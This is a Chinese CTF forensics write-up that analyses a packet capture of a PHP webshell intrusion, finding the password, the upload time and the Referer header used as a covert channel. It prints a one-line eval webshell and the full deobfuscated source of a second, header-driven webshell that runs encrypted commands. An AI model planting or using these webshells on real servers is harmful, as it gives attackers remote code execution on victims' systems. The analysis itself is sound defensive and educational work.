题目要求
1.黑客第一次获得的php木马的密码是什么
2.黑客第二次上传php木马是什么时间
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
解题过程
首先我们要知道php一句话木马一般都是POST请求所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑正常文件不会以此命名的, 打开数据包看一下,发现了这个字段
Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"
其实一句话木马密码已经出来了,就是zzz
这里他上传的一句话木马应该是
<?php eval($_POST['zzz']);?>
然后又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码
此时z0传入base64编码后的数据,便可以执行恶意代码
解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令
第二题是第二次上传木马的时间
没有头绪的话来分析下过滤出来的这几个包,其他参数都一样,重要的是Length这个字段
第一个包毋庸置疑是会比其他包长一点,但是第四个包很奇怪,和其他包相比长了150多字节左右
追踪tcp流
可以明显看到z2很不正常,其他参数都是urlcode和base64编码
z2使用十六进制编码,我们来解码看一下
这样的PHP代码是通过混淆过的,让我们根本看不懂他的代码
经过还原后的代码:
<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][4];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>
检查后发现create_function函数,这个函数是可以执行命令的
官方也提示这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患
说明黑客是利用了create_function函数来上传了自己的木马
时间的话,ctrl+f,选择分组详情,选择字符串,搜索time字符串,时间就出来了
Feb 7, 2018 17:20:44.248365000 中国标准时间
然后我们来分析一下这个木马
木马要利用,就必然会与数据包进行交互,仔细看看这两行代码
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
这两行代码是获取http请求中的referer和accept_language字段的,与数据包产生了交互
所以可以基本断定这两个字段是黑客用来传输他想执行的命令的
我们随便看一个访问footer.php的包
发现Referer字段长度很不正常,Accept-Language字段正常
所以可以基本确定,木马通过HTTP协议中的referer头传递数据